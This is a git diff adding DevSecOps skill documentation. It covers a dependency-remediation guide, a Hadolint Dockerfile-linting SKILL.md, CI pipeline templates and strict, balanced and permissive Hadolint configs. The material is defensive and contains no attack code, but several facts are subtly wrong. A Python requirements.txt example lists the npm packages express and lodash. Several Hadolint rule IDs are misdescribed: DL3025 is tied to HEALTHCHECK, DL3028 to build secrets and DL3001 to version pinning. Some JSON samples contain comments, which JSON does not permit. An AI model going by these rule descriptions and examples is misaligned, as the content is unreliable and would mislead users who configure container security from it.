tidy +``` + +**Update all dependencies**: +```bash +# npm (interactive) +npm-check-updates --interactive + +# pip +pip list --outdated | cut -d ' ' -f1 | xargs -n1 pip install -U + +# Go +go get -u ./... +go mod tidy +``` + +## Base Image Updates + +### Pattern: Minimal Base Images + +**Reduce attack surface with minimal images**: + +```dockerfile +# ❌ Large attack surface +FROM ubuntu:22.04 + +# ✅ Minimal attack surface +FROM alpine:3.19 +# or +FROM gcr.io/distroless/base-debian12 + +# ✅ Minimal for specific language +FROM python:3.11-slim +FROM node:20-alpine +``` + +**Benefits**: +- Fewer packages = fewer vulnerabilities +- Smaller image size +- Faster scans + +### Pattern: Multi-Stage Builds + +**Separate build dependencies from runtime**: + +```dockerfile +# Build stage with full toolchain +FROM node:20 AS builder +WORKDIR /app +COPY package*.json ./ +RUN npm ci +COPY . . +RUN npm run build + +# Production stage with minimal image +FROM node:20-alpine AS production +WORKDIR /app +COPY --from=builder /app/dist ./dist +COPY --from=builder /app/node_modules ./node_modules +USER node +CMD ["node", "dist/index.js"] +``` + +**Benefits**: +- Build tools not present in final image +- Reduced vulnerability exposure +- Smaller production image + +### Pattern: Regular Base Image Updates + +**Automate base image updates**: + +```yaml +# Dependabot config for Dockerfile +version: 2 +updates: + - package-ecosystem: "docker" + directory: "/" + schedule: + interval: "weekly" +``` + +**Manual update process**: +```bash +# Check for newer base image versions +docker pull alpine:3.19 +docker images alpine + +# Update Dockerfile +sed -i 's/FROM alpine:3.18/FROM alpine:3.19/' Dockerfile + +# Rebuild and scan +docker build -t myapp:latest . +grype myapp:latest +``` + +## Dependency Pinning + +### Pattern: Pin to Secure Versions + +**Lock to known-good versions**: + +```dockerfile +# ✅ Pin specific versions +FROM alpine:3.19.0@sha256:abc123... + +# Install specific package versions +RUN apk add --no-cache \ + ca-certificates=20240226-r0 \ + openssl=3.1.4-r0 +``` + +```json +// package.json - Exact versions +{ + "dependencies": { + "express": "4.18.2", + "lodash": "4.17.21" + } +} +``` + +**Benefits**: +- Reproducible builds +- Controlled updates +- Prevent automatic vulnerability introduction + +**Drawbacks**: +- Manual update effort +- May miss security patches +- Requires active maintenance + +### Pattern: Range-Based Pinning + +**Allow patch updates, lock major/minor**: + +```json +// package.json - Allow patch updates +{ + "dependencies": { + "express": "~4.18.2", // Allow 4.18.x + "lodash": "^4.17.21" // Allow 4.x.x + } +} +``` + +```python +# requirements.txt - Compatible releases +express>=4.18.2,<5.0.0 +lodash>=4.17.21,<5.0.0 +``` + +## Compensating Controls + +### Pattern: Network Segmentation + +**Isolate vulnerable systems**: + +```yaml +# Docker Compose network isolation +services: + vulnerable-service: + image: myapp:vulnerable + networks: + - internal + # No external port exposure + + gateway: + image: nginx:alpine + ports: + - "80:80" + networks: + - internal + - external + +networks: + internal: + internal: true + external: +``` + +**Benefits**: +- Limits attack surface +- Contains potential breaches +- Buys time for proper remediation + +### Pattern: Web Application Firewall (WAF) + +**Block exploit attempts at perimeter**: + +```nginx +# ModSecurity/OWASP Core Rule Set +location / { + modsecurity on; + modsecurity_rules_file /etc/nginx/modsec/main.conf; + proxy_pass http://vulnerable-backend; +} +``` + +**Virtual Patching**: +- Create WAF rules for specific CVEs +- Block known exploit patterns +- Monitor for exploitation attempts + +### Pattern: Runtime Application Self-Protection (RASP) + +**Detect and prevent exploitation at runtime**: + +```python +# Example: Add input validation +def process_user_input(data): + # Validate against known exploit patterns + if contains_sql_injection(data): + log_security_event("SQL injection attempt blocked") + raise SecurityException("Invalid input") + + return sanitize_input(data) +``` + +## Language-Specific Patterns + +### Python + +**Update vulnerable package**: +```bash +# Check for vulnerabilities +grype dir:/path/to/project -o json + +# Update package +pip install --upgrade vulnerable-package + +# Freeze updated dependencies +pip freeze > requirements.txt + +# Verify fix +grype dir:/path/to/project +``` + +**Use constraints files**: +```bash +# constraints.txt +vulnerable-package>=1.2.3 # CVE-2024-XXXX fixed + +# Install with constraints +pip install -r requirements.txt -c constraints.txt +``` + +### Node.js + +**Update vulnerable package**: +```bash +# Check for vulnerabilities +npm audit +grype dir:. -o json + +# Fix automatically (if possible) +npm audit fix + +# Manual update +npm install package@version + +# Verify fix +npm audit +grype dir:. +``` + +**Override transitive dependencies**: +```json +{ + "overrides": { + "vulnerable-package": "^2.0.0" + } +} +``` + +### Go + +**Update vulnerable module**: +```bash +# Check for vulnerabilities +go list -m all | grype + +# Update specific module +go get -u github.com/org/vulnerable-module + +# Update all modules +go get -u ./... + +# Verify and tidy +go mod tidy +grype dir:. +``` + +### Java/Maven + +**Update vulnerable dependency**: +```xml + + + org.example + vulnerable-lib + 2.0.0 + +``` + +**Force dependency version**: +```xml + + + + org.example + vulnerable-lib + 2.0.0 + + + +``` + +### Rust + +**Update vulnerable crate**: +```bash +# Check for vulnerabilities +cargo audit +grype dir:. -o json + +# Update specific crate +cargo update -p vulnerable-crate + +# Update all crates +cargo update + +# Verify fix +cargo audit +grype dir:. +``` + +## Verification Workflow + +After applying any remediation: + +Progress: +[ ] 1. **Re-scan**: Run Grype scan to verify vulnerability resolved +[ ] 2. **Test**: Execute test suite to ensure no functionality broken +[ ] 3. **Document**: Record CVE, fix applied, and verification results +[ ] 4. **Deploy**: Roll out fix to affected environments +[ ] 5. **Monitor**: Watch for related security issues or regressions + +Work through each step systematically. Check off completed items. + +## References + +- [npm Security Best Practices](https://docs.npmjs.com/security-best-practices) +- [Python Packaging Security](https://packaging.python.org/en/latest/guides/security/) +- [Go Modules Security](https://go.dev/blog/vuln) +- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) diff --git a/skills/devsecops/container-hadolint/SKILL.md b/skills/devsecops/container-hadolint/SKILL.md new file mode 100644 index 0000000..03ebf5d --- /dev/null +++ b/skills/devsecops/container-hadolint/SKILL.md @@ -0,0 +1,598 @@ +--- +name: container-hadolint +description: > + Dockerfile security linting and best practice validation using Hadolint with 100+ built-in + rules aligned to CIS Docker Benchmark. Use when: (1) Analyzing Dockerfiles for security + misconfigurations and anti-patterns, (2) Enforcing container image security best practices + in CI/CD pipelines, (3) Detecting hardcoded secrets and credentials in container builds, + (4) Validating compliance with CIS Docker Benchmark requirements, (5) Integrating shift-left + container security into developer workflows, (6) Providing remediation guidance for insecure + Dockerfile instructions. +version: 0.1.0 +maintainer: SirAppSec +category: devsecops +tags: [docker, hadolint, dockerfile, container-security, cis-benchmark, linting, ci-cd] +frameworks: [CIS, OWASP] +dependencies: + tools: [hadolint, docker] +references: + - https://github.com/hadolint/hadolint + - https://www.cisecurity.org/benchmark/docker + - https://docs.docker.com/develop/develop-images/dockerfile_best-practices/ +--- + +# Dockerfile Security Linting with Hadolint + +## Overview + +Hadolint is a Dockerfile linter that validates container build files against security best practices and the CIS Docker Benchmark. It analyzes Dockerfile instructions to identify misconfigurations, anti-patterns, and security vulnerabilities before images are built and deployed. + +Hadolint integrates ShellCheck to validate RUN instructions, ensuring shell commands follow security best practices. With 100+ built-in rules mapped to CIS Docker Benchmark controls, Hadolint provides comprehensive security validation for container images. + +## Quick Start + +### Install Hadolint + +```bash +# macOS via Homebrew +brew install hadolint + +# Linux via binary +wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64 +chmod +x /usr/local/bin/hadolint + +# Via Docker +docker pull hadolint/hadolint +``` + +### Scan Dockerfile + +```bash +# Scan Dockerfile in current directory +hadolint Dockerfile + +# Scan with specific Dockerfile path +hadolint path/to/Dockerfile + +# Using Docker +docker run --rm -i hadolint/hadolint < Dockerfile +``` + +### Generate Report + +```bash +# JSON output for automation +hadolint -f json Dockerfile > hadolint-report.json + +# GitLab Code Quality format +hadolint -f gitlab_codeclimate Dockerfile > hadolint-codeclimate.json + +# Checkstyle format for CI integration +hadolint -f checkstyle Dockerfile > hadolint-checkstyle.xml +``` + +## Core Workflows + +### 1. Local Development Scanning + +Validate Dockerfiles during development: + +```bash +# Basic scan with colored output +hadolint Dockerfile + +# Scan with specific severity threshold +hadolint --failure-threshold error Dockerfile + +# Show only warnings and errors +hadolint --no-color --format tty Dockerfile | grep -E "^(warning|error)" + +# Verbose output with rule IDs +hadolint -t style -t warning -t error Dockerfile +``` + +**Output Format:** +``` +Dockerfile:3 DL3008 warning: Pin versions in apt get install +Dockerfile:7 DL3025 error: Use JSON notation for CMD and ENTRYPOINT +Dockerfile:12 DL3059 info: Multiple RUN instructions detected +``` + +**When to use**: Developer workstation, pre-commit validation, iterative Dockerfile development. + +### 2. CI/CD Pipeline Integration + +Automate Dockerfile validation in build pipelines: + +#### GitHub Actions + +```yaml +name: Hadolint +on: [push, pull_request] + +jobs: + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Hadolint Dockerfile + uses: hadolint/hadolint-action@v3.1.0 + with: + dockerfile: Dockerfile + failure-threshold: warning + format: sarif + output-file: hadolint.sarif + + - name: Upload SARIF to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: hadolint.sarif +``` + +#### GitLab CI + +```yaml +hadolint: + image: hadolint/hadolint:latest-debian + stage: lint + script: + - hadolint -f gitlab_codeclimate Dockerfile > hadolint-report.json + artifacts: + reports: + codequality: hadolint-report.json + when: always +``` + +**When to use**: Automated security gates, pull request checks, deployment validation. + +### 3. Configuration Customization + +Create `.hadolint.yaml` to customize rules: + +```yaml +# .hadolint.yaml +failure-threshold: warning +ignored: + - DL3008 # Allow unpinned apt-get packages (assess risk first) + - DL3059 # Allow multiple RUN instructions + +trustedRegistries: + - docker.io/library # Official Docker Hub images + - gcr.io/distroless # Google distroless images + - registry.access.redhat.com # Red Hat registry + +override: + error: + - DL3001 # Enforce: never use yum/dnf/zypper without version pins + warning: + - DL3015 # Warn: use --no-install-recommends with apt-get + info: + - DL3059 # Info: multiple RUN instructions reduce layer caching + +label-schema: + maintainer: text + org.opencontainers.image.vendor: text + org.opencontainers.image.version: semver +``` + +Use bundled templates in `assets/`: +- `assets/hadolint-strict.yaml` - Strict security enforcement (CRITICAL/HIGH only) +- `assets/hadolint-balanced.yaml` - Balanced validation (recommended) +- `assets/hadolint-permissive.yaml` - Permissive for legacy Dockerfiles + +**When to use**: Reducing false positives, organizational standards, legacy Dockerfile migration. + +### 4. Security-Focused Validation + +Enforce critical security rules: + +```bash +# Only fail on security issues (error severity) +hadolint --failure-threshold error Dockerfile + +# Check specific security rules +hadolint --trusted-registry docker.io/library Dockerfile + +# Scan all Dockerfiles in project +find . -name "Dockerfile*" -exec hadolint {} \; + +# Generate security report with only errors +hadolint -f json Dockerfile | jq '.[] | select(.level == "error")' +``` + +**Critical Security Rules:** +- **DL3000**: Use absolute WORKDIR (prevents directory traversal) +- **DL3001**: Always use version pinning for package managers +- **DL3002**: Never switch to root USER in Dockerfile +- **DL3020**: Use COPY instead of ADD (prevents arbitrary URL fetching) +- **DL3025**: Use JSON notation for CMD/ENTRYPOINT (prevents shell injection) + +See `references/security_rules.md` for complete security rule catalog with CIS mappings. + +### 5. Multi-Stage Build Validation + +Scan complex multi-stage Dockerfiles: + +```bash +# Validate all stages +hadolint Dockerfile + +# Stage-specific validation (use custom script) +./scripts/hadolint_multistage.py Dockerfile +``` + +**Common Multi-Stage Issues:** +- Using same user across build and runtime stages +- Copying unnecessary build tools to production image +- Missing security hardening in final stage +- Secrets present in build stage propagating to runtime + +**When to use**: Complex builds, security-hardened images, production containerization. + +### 6. Pre-Commit Hook Integration + +Prevent insecure Dockerfiles from being committed: + +```bash +# Install pre-commit hook using bundled script +./scripts/install_precommit.sh + +# Or manually create hook +cat << 'EOF' > .git/hooks/pre-commit +#!/bin/bash +for dockerfile in $(git diff --cached --name-only | grep -E 'Dockerfile'); do + hadolint --failure-threshold warning "$dockerfile" || exit 1 +done +EOF + +chmod +x .git/hooks/pre-commit +``` + +**When to use**: Developer workstations, team onboarding, mandatory security controls. + +## Security Considerations + +### Sensitive Data Handling + +- **Secret Detection**: Hadolint flags hardcoded secrets in ENV, ARG, LABEL instructions +- **Build Secrets**: Use Docker BuildKit secrets (`RUN --mount=type=secret`) instead of ARG for credentials +- **Multi-Stage Security**: Ensure secrets in build stages don't leak to final image +- **Image Scanning**: Hadolint validates Dockerfile - combine with image scanning (Trivy, Grype) for runtime security + +### Access Control + +- **CI/CD Permissions**: Hadolint scans require read access to Dockerfile and build context +- **Report Storage**: Treat scan reports as internal documentation - may reveal security practices +- **Trusted Registries**: Configure `trustedRegistries` to enforce approved base image sources + +### Audit Logging + +Log the following for compliance and security auditing: +- Scan execution timestamps and Dockerfile paths +- Rule violations by severity (error, warning, info) +- Suppressed rules and justifications +- Base image registry validation results +- Remediation actions and timeline + +### Compliance Requirements + +- **CIS Docker Benchmark 1.6**: Hadolint rules map to CIS controls (see `references/cis_mapping.md`) + - 4.1: Create a user for the container (DL3002) + - 4.6: Add HEALTHCHECK instruction (DL3025) + - 4.7: Do not use update alone in Dockerfile (DL3009) + - 4.9: Use COPY instead of ADD (DL3020) +- **OWASP Docker Security**: Validates against OWASP container security best practices +- **NIST SP 800-190**: Application container security guidance + +## Bundled Resources + +### Scripts (`scripts/`) + +- `hadolint_scan.py` - Comprehensive scanning with multiple Dockerfiles and output formats +- `hadolint_multistage.py` - Multi-stage Dockerfile analysis with stage-specific validation +- `install_precommit.sh` - Automated pre-commit hook installation +- `ci_integration.sh` - CI/CD integration examples for multiple platforms + +### References (`references/`) + +- `security_rules.md` - Complete Hadolint security rules with CIS Benchmark mappings +- `cis_mapping.md` - Detailed CIS Docker Benchmark control mapping +- `remediation_guide.md` - Rule-by-rule remediation guidance with secure examples +- `shellcheck_integration.md` - ShellCheck rules for RUN instruction validation + +### Assets (`assets/`) + +- `hadolint-strict.yaml` - Strict security configuration +- `hadolint-balanced.yaml` - Production-ready configuration (recommended) +- `hadolint-permissive.yaml` - Legacy Dockerfile migration configuration +- `github-actions.yml` - Complete GitHub Actions workflow +- `gitlab-ci.yml` - Complete GitLab CI pipeline +- `precommit-config.yaml` - Pre-commit framework configuration + +## Common Patterns + +### Pattern 1: Initial Dockerfile Security Audit + +First-time security assessment: + +```bash +# 1. Find all Dockerfiles +find . -type f -name "Dockerfile*" > dockerfile-list.txt + +# 2. Scan all Dockerfiles with JSON output +mkdir -p security-reports +while read dockerfile; do + output_file="security-reports/$(echo $dockerfile | tr '/' '_').json" + hadolint -f json "$dockerfile" > "$output_file" 2>&1 +done < dockerfile-list.txt + +# 3. Generate summary report +./scripts/hadolint_scan.py --input-dir . --output summary-report.html + +# 4. Review critical/high findings +cat security-reports/*.json | jq '.[] | select(.level == "error")' > critical-findings.json +``` + +### Pattern 2: Progressive Remediation + +Gradual security hardening: + +```bash +# Phase 1: Baseline (don't fail builds yet) +hadolint --failure-threshold none -f json Dockerfile > baseline.json + +# Phase 2: Fix critical issues (fail on errors only) +hadolint --failure-threshold error Dockerfile + +# Phase 3: Address warnings +hadolint --failure-threshold warning Dockerfile + +# Phase 4: Full compliance (including style/info) +hadolint Dockerfile +``` + +### Pattern 3: Security-Hardened Production Image + +Build security-first container image: + +```dockerfile +# Example secure Dockerfile following Hadolint best practices + +# Use specific base image version from trusted registry +FROM docker.io/library/node:18.19.0-alpine3.19 + +# Install packages with version pinning and cleanup +RUN apk add --no-cache \ + dumb-init=1.2.5-r2 \ + && rm -rf /var/cache/apk/* + +# Create non-root user +RUN addgroup -g 1001 -S appuser && \ + adduser -S -u 1001 -G appuser appuser + +# Set working directory +WORKDIR /app + +# Copy application files (use COPY not ADD) +COPY --chown=appuser:appuser package*.json ./ +COPY --chown=appuser:appuser . . + +# Install dependencies +RUN npm ci --only=production && \ + npm cache clean --force + +# Switch to non-root user +USER appuser + +# Expose port (document only, not security control) +EXPOSE 3000 + +# Add healthcheck +HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ + CMD node healthcheck.js || exit 1 + +# Use JSON notation for entrypoint/cmd +ENTRYPOINT ["/usr/bin/dumb-init", "--"] +CMD ["node", "server.js"] +``` + +Validate with Hadolint: +```bash +hadolint Dockerfile # Should pass with no errors +``` + +### Pattern 4: CI/CD with Automated Remediation Suggestions + +Provide actionable feedback in pull requests: + +```bash +# In CI pipeline +hadolint -f json Dockerfile > hadolint.json + +# Generate remediation suggestions +./scripts/hadolint_scan.py \ + --input hadolint.json \ + --format markdown \ + --output pr-comment.md + +# Post to PR comment (using gh CLI) +gh pr comment --body-file pr-comment.md +``` + +## Integration Points + +### CI/CD Integration + +- **GitHub Actions**: Native hadolint-action with SARIF support for Security tab +- **GitLab CI**: GitLab Code Quality format integration +- **Jenkins**: Checkstyle format for Jenkins Warnings plugin +- **CircleCI**: Docker-based executor with artifact retention +- **Azure Pipelines**: Task integration with results publishing + +### Security Tools Ecosystem + +- **Image Scanning**: Combine with Trivy, Grype, Clair for runtime vulnerability scanning +- **Secret Scanning**: Integrate with Gitleaks, TruffleHog for comprehensive secret detection +- **IaC Security**: Chain with Checkov for Kubernetes/Terraform validation +- **SBOM Generation**: Export findings alongside Syft/Trivy SBOM reports +- **Security Dashboards**: Export JSON to Grafana, Kibana, Datadog for centralized monitoring + +### SDLC Integration + +- **Development**: Pre-commit hooks provide immediate feedback +- **Code Review**: PR checks prevent insecure Dockerfiles from merging +- **Testing**: Scan test environment Dockerfiles +- **Staging**: Validation gate before production promotion +- **Production**: Periodic audits of deployed container configurations + +## Troubleshooting + +### Issue: Too Many False Positives + +**Symptoms**: Legitimate patterns flagged (legacy Dockerfiles, specific use cases) + +**Solution**: +```yaml +# Create .hadolint.yaml +ignored: + - DL3059 # Multiple RUN instructions (valid for complex builds) + +# Or use inline ignores +# hadolint ignore=DL3008 +RUN apt-get update && apt-get install -y curl +``` + +Consult `references/remediation_guide.md` for rule-specific guidance. + +### Issue: Base Image Registry Not Trusted + +**Symptoms**: Error about untrusted registry even for legitimate images + +**Solution**: +```yaml +# Add to .hadolint.yaml +trustedRegistries: + - mycompany.azurecr.io + - gcr.io/my-project + - docker.io/library +``` + +### Issue: ShellCheck Warnings in RUN Instructions + +**Symptoms**: SC2086, SC2046 warnings from ShellCheck integration + +**Solution**: +```dockerfile +# Bad: Unquoted variables +RUN echo $MY_VAR > file.txt + +# Good: Quoted variables +RUN echo "$MY_VAR" > file.txt + +# Or disable specific ShellCheck rule +# hadolint ignore=DL4006 +RUN echo $MY_VAR > file.txt +``` + +See `references/shellcheck_integration.md` for complete ShellCheck guidance. + +### Issue: Multi-Stage Build Not Recognized + +**Symptoms**: Errors about missing USER instruction despite proper multi-stage setup + +**Solution**: +```dockerfile +# Ensure each stage has appropriate USER +FROM node:18 AS builder +# Build operations... + +FROM node:18-alpine AS runtime +USER node # Add USER in final stage +CMD ["node", "app.js"] +``` + +### Issue: CI Pipeline Failing on Warnings + +**Symptoms**: Build fails on low-severity issues + +**Solution**: +```bash +# Adjust failure threshold in CI +hadolint --failure-threshold error Dockerfile + +# Or configure per-environment +if [ "$CI_ENVIRONMENT" == "production" ]; then + hadolint --failure-threshold warning Dockerfile +else + hadolint --failure-threshold error Dockerfile +fi +``` + +## Advanced Configuration + +### Custom Rule Severity Override + +```yaml +# .hadolint.yaml +override: + error: + - DL3001 # Package versioning is critical + - DL3020 # COPY vs ADD is security-critical + warning: + - DL3059 # Multiple RUN is warning, not info + info: + - DL3008 # Downgrade apt-get pinning to info for dev images +``` + +### Inline Suppression + +```dockerfile +# Suppress single rule for one instruction +# hadolint ignore=DL3018 +RUN apk add --no-cache curl + +# Suppress multiple rules +# hadolint ignore=DL3003,DL3009 +WORKDIR /tmp +RUN apt-get update && apt-get install -y wget + +# Global suppression (use sparingly) +# hadolint global ignore=DL3059 +``` + +### Trusted Registry Enforcement + +```yaml +# .hadolint.yaml +trustedRegistries: + - docker.io/library # Official images only + - gcr.io/distroless # Google distroless + - cgr.dev/chainguard # Chainguard images + +# This will error on: +# FROM nginx:latest ❌ (docker.io/nginx) +# FROM docker.io/library/nginx:latest ✅ (trusted) +``` + +### Label Schema Validation + +```yaml +# .hadolint.yaml +label-schema: + maintainer: text + org.opencontainers.image.created: rfc3339 + org.opencontainers.image.version: semver + org.opencontainers.image.vendor: text +``` + +Ensures Dockerfile LABELs conform to OCI image specification. + +## References + +- [Hadolint GitHub Repository](https://github.com/hadolint/hadolint) +- [CIS Docker Benchmark](https://www.cisecurity.org/benchmark/docker) +- [Docker Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/) +- [ShellCheck Documentation](https://www.shellcheck.net/) +- [OCI Image Specification](https://github.com/opencontainers/image-spec) diff --git a/skills/devsecops/container-hadolint/assets/.gitkeep b/skills/devsecops/container-hadolint/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/devsecops/container-hadolint/assets/github-actions.yml b/skills/devsecops/container-hadolint/assets/github-actions.yml new file mode 100644 index 0000000..307a783 --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/github-actions.yml @@ -0,0 +1,99 @@ +# GitHub Actions workflow for Hadolint Dockerfile linting +# Place this file at: .github/workflows/hadolint.yml + +name: Hadolint Dockerfile Security Scan + +on: + push: + branches: [ main, develop ] + paths: + - '**/Dockerfile*' + - '**/*.dockerfile' + - '.github/workflows/hadolint.yml' + pull_request: + branches: [ main, develop ] + paths: + - '**/Dockerfile*' + - '**/*.dockerfile' + +permissions: + contents: read + security-events: write # For SARIF upload + pull-requests: write # For PR comments + +jobs: + hadolint: + name: Lint Dockerfiles + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Hadolint + uses: hadolint/hadolint-action@v3.1.0 + with: + dockerfile: "Dockerfile" # Change to your Dockerfile path + failure-threshold: warning + format: sarif + output-file: hadolint-results.sarif + config: .hadolint.yaml # Optional: use custom config + + - name: Upload SARIF to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: hadolint-results.sarif + category: hadolint + + - name: Generate readable report + if: failure() + uses: hadolint/hadolint-action@v3.1.0 + with: + dockerfile: "Dockerfile" + format: tty + + hadolint-all: + name: Lint All Dockerfiles + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Find all Dockerfiles + id: find-dockerfiles + run: | + # Find all Dockerfile* in repository + DOCKERFILES=$(find . -type f \( -name "Dockerfile*" -o -name "*.dockerfile" \) | tr '\n' ' ') + echo "dockerfiles=$DOCKERFILES" >> $GITHUB_OUTPUT + echo "Found Dockerfiles: $DOCKERFILES" + + - name: Run Hadolint on all Dockerfiles + run: | + # Install hadolint + wget -O /usr/local/bin/hadolint https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64 + chmod +x /usr/local/bin/hadolint + + # Scan each Dockerfile + FAILED=0 + for dockerfile in ${{ steps.find-dockerfiles.outputs.dockerfiles }}; do + echo "Scanning: $dockerfile" + if ! hadolint --failure-threshold warning "$dockerfile"; then + FAILED=1 + fi + done + + exit $FAILED + + - name: Comment PR with results + if: github.event_name == 'pull_request' && failure() + uses: actions/github-script@v7 + with: + script: | + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: '❌ Hadolint found security issues in Dockerfiles. Please review the workflow logs and fix the issues.' + }) diff --git a/skills/devsecops/container-hadolint/assets/gitlab-ci.yml b/skills/devsecops/container-hadolint/assets/gitlab-ci.yml new file mode 100644 index 0000000..9dedbfa --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/gitlab-ci.yml @@ -0,0 +1,82 @@ +# GitLab CI configuration for Hadolint Dockerfile linting +# Add this to your .gitlab-ci.yml file + +stages: + - lint + - build + +# Hadolint Dockerfile security scanning +hadolint: + stage: lint + image: hadolint/hadolint:latest-debian + script: + # Find all Dockerfiles + - | + DOCKERFILES=$(find . -type f \( -name "Dockerfile*" -o -name "*.dockerfile" \)) + echo "Found Dockerfiles:" + echo "$DOCKERFILES" + + # Scan each Dockerfile and generate reports + - | + FAILED=0 + for dockerfile in $DOCKERFILES; do + echo "Scanning: $dockerfile" + + # Generate GitLab Code Quality report + hadolint -f gitlab_codeclimate "$dockerfile" >> hadolint-report.json || FAILED=1 + + # Also print human-readable output + hadolint "$dockerfile" || true + done + + exit $FAILED + + artifacts: + reports: + codequality: hadolint-report.json + paths: + - hadolint-report.json + when: always + expire_in: 1 week + + # Only run on branches with Dockerfile changes + rules: + - changes: + - "**/Dockerfile*" + - "**/*.dockerfile" + - ".gitlab-ci.yml" + +# Alternative: Scan specific Dockerfile +hadolint-main: + stage: lint + image: hadolint/hadolint:latest-debian + script: + - hadolint --failure-threshold warning Dockerfile + only: + changes: + - Dockerfile + +# Advanced: Multiple Dockerfiles with matrix +hadolint-matrix: + stage: lint + image: hadolint/hadolint:latest-debian + parallel: + matrix: + - DOCKERFILE: + - "Dockerfile" + - "Dockerfile.dev" + - "services/api/Dockerfile" + - "services/web/Dockerfile" + script: + - | + if [ -f "$DOCKERFILE" ]; then + echo "Scanning: $DOCKERFILE" + hadolint --failure-threshold warning "$DOCKERFILE" + else + echo "File not found: $DOCKERFILE" + exit 1 + fi + only: + changes: + - Dockerfile* + - services/**/Dockerfile* diff --git a/skills/devsecops/container-hadolint/assets/hadolint-balanced.yaml b/skills/devsecops/container-hadolint/assets/hadolint-balanced.yaml new file mode 100644 index 0000000..b1564bc --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/hadolint-balanced.yaml @@ -0,0 +1,40 @@ +# Hadolint Balanced Configuration +# Recommended for most production use cases +# Balances security enforcement with practical development needs + +failure-threshold: warning + +# Allow common development patterns that don't compromise security +ignored: + - DL3059 # Multiple RUN instructions (improves layer caching in development) + +# Trusted registries - add your organization's registries +trustedRegistries: + - docker.io/library # Official Docker Hub images + - gcr.io/distroless # Google distroless images + - cgr.dev/chainguard # Chainguard images + # Add your private registries below: + # - mycompany.azurecr.io + # - gcr.io/my-project + +# Balanced severity levels +override: + error: + - DL3002 # Never switch to root (critical security) + - DL3020 # Use COPY instead of ADD (prevent URL injection) + warning: + - DL3000 # Use absolute WORKDIR + - DL3001 # Version pinning for package managers + - DL3006 # Always tag images + - DL3008 # Version pinning for apt + - DL3013 # Version pinning for pip + - DL3025 # Use JSON notation for CMD/ENTRYPOINT + info: + - DL3007 # Use image digests (nice to have) + - DL3009 # Delete apt cache (optimization) + +# Recommended OCI labels +label-schema: + maintainer: text + org.opencontainers.image.version: semver + org.opencontainers.image.vendor: text diff --git a/skills/devsecops/container-hadolint/assets/hadolint-permissive.yaml b/skills/devsecops/container-hadolint/assets/hadolint-permissive.yaml new file mode 100644 index 0000000..1b5887c --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/hadolint-permissive.yaml @@ -0,0 +1,35 @@ +# Hadolint Permissive Configuration +# For legacy Dockerfiles during migration or development environments +# Use temporarily while remediating existing issues + +failure-threshold: error # Only fail on critical security issues + +# Ignore common legacy patterns (review and remove as you fix them) +ignored: + - DL3006 # Image versioning (fix gradually) + - DL3008 # apt-get version pinning (fix gradually) + - DL3009 # apt cache cleanup (optimization, not security) + - DL3013 # pip version pinning (fix gradually) + - DL3015 # apt --no-install-recommends (optimization) + - DL3059 # Multiple RUN instructions (caching) + +# Still enforce trusted registries +trustedRegistries: + - docker.io + - gcr.io + - ghcr.io + # Add your registries + +# Minimal enforcement - only critical security issues +override: + error: + - DL3002 # Never switch to root (always enforce) + - DL3020 # Use COPY instead of ADD (security critical) + warning: + - DL3001 # Package manager version pinning + - DL3025 # JSON notation for CMD/ENTRYPOINT + info: + # Everything else is informational + - DL3000 + - DL3003 + - DL3007 diff --git a/skills/devsecops/container-hadolint/assets/hadolint-strict.yaml b/skills/devsecops/container-hadolint/assets/hadolint-strict.yaml new file mode 100644 index 0000000..a56861a --- /dev/null +++ b/skills/devsecops/container-hadolint/assets/hadolint-strict.yaml @@ -0,0 +1,48 @@ +# Hadolint Strict Configuration +# Enforces maximum security with minimal exceptions +# Use for: Production Dockerfiles, security-critical applications + +failure-threshold: error + +# Minimal ignores - only critical exceptions +ignored: [] + +# Only trust official and verified registries +trustedRegistries: + - docker.io/library # Official Docker Hub images + - gcr.io/distroless # Google distroless base images + - cgr.dev/chainguard # Chainguard minimal images + +# Enforce strict severity levels +override: + error: + - DL3000 # Use absolute WORKDIR + - DL3001 # Version pinning for yum + - DL3002 # Never switch to root + - DL3003 # Use WORKDIR instead of cd + - DL3006 # Always tag images + - DL3008 # Version pinning for apt + - DL3013 # Version pinning for pip + - DL3016 # Version pinning for npm + - DL3018 # Version pinning for apk + - DL3020 # Use COPY instead of ADD + - DL3028 # Use build secrets for credentials + warning: + - DL3007 # Use specific digests (recommended) + - DL3009 # Delete apt cache + - DL3015 # Avoid additional packages + - DL3025 # Use JSON notation + +# Enforce OCI image labels +label-schema: + maintainer: text + org.opencontainers.image.created: rfc3339 + org.opencontainers.image.authors: text + org.opencontainers.image.url: url + org.opencontainers.image.documentation: url + org.opencontainers.image.source: url + org.opencontainers.image.version: semver + org.opencontainers.image.revision: text + org.opencontainers.image.vendor: text + org.opencontainers.image.title: text + org.opencontainers.image.description: text diff --git a/skills/devsecops/container-hadolint/references/EXAMPLE.md b/skills/devsecops/container-hadolint/references/EXAMPLE.md new file mode 100644 index 0000000..23d74db --- /dev/null +++ b/skills/devsecops/container-hadolint/references/EXAMPLE.md @@ -0,0 +1,40 @@ +# Reference Document Template + +This file contains detailed reference material that Claude should load only when needed. + +## Table of Contents + +- [Section 1](#section-1) +- [Section 2](#section-2) +- [Security Standards](#security-standards) + +## Section 1 + +Detailed information, schemas, or examples that 